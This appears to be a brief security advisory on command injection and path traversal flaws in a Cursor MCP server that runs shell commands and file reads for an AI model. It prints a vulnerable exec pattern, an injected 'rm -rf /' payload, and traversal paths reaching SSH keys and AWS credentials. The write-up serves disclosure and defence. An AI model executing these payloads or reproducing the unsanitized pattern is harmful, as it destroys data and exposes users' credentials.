Cursor MCP Server Critical Vulnerabilities

The Cursor MCP server's command execution functionality fails to properly sanitize inputs before passing them to the system shell. When the AI model invokes terminal commands, specially crafted inputs can break out of the intended command context and execute arbitrary code.

// Vulnerable code pattern (simplified)
const command = `git status ${userInput}`;
exec(command); // userInput not sanitized

// Attack payload: "; rm -rf / #"
// Results in: git status ; rm -rf / #

The file system operations in Cursor's MCP server do not properly validate file paths. By using path traversal sequences (../) or symlinks, an attacker can read or write files outside the intended project directory.

// Intended: Read files only in /project/src
readFile("/project/src/config.ts")

// Attack: Path traversal to read sensitive files
readFile("/project/src/../../../.ssh/id_rsa")
readFile("/project/src/../../../.aws/credentials")